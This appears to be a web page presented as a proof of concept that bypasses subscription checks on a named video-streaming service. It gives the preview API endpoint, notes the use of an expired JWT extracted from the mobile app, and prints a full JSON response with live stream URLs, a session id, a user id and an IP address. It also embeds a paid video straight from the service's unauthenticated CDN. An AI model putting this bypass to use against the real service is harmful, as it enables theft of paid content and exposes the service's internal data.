SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned playingUrl for A Christmas Treasure with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
A Christmas Treasure
Vj Junior Drama 01h 35m 4 years ago

After opening a 100-year-old time capsule, a woman meets a charming chef and wonders if she should move to New York and further her writing career.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/19992/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 32
video_name A.Christmas.Treasure.2021.1080p.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN demo stream https://munotech3.b-cdn.net/daphine/Daphine42/1-Vengeance of the Bride-JBS TV-VJ IVO.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 19992,
    "video_title": "A Christmas Treasure",
    "description": " After opening a 100-year-old time capsule, a woman meets a charming chef and wonders if she should move to New York and further her writing career.",
    "video_name": "A.Christmas.Treasure.2021.1080p.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "32",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 35m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/460958813778.jpg",
    "tfilehistory": "",
    "category_id": 17,
    "language_id": 1,
    "recording_date": "2021-12-24",
    "age_id": "PG",
    "location": 1,
    "tab_category_id": 17,
    "series_code": "19992",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "904.36 MB",
    "create_date": "2021-12-24 09:52:02",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 1,
    "video_status_id": 0,
    "network_id": "45.221.8.174",
    "user_access": "deny",
    "notification": "Yes",
    "secduration": "5755.000000",
    "issubscriber": false,
    "genre": "Drama",
    "vjname": "Vj Junior",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "4 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}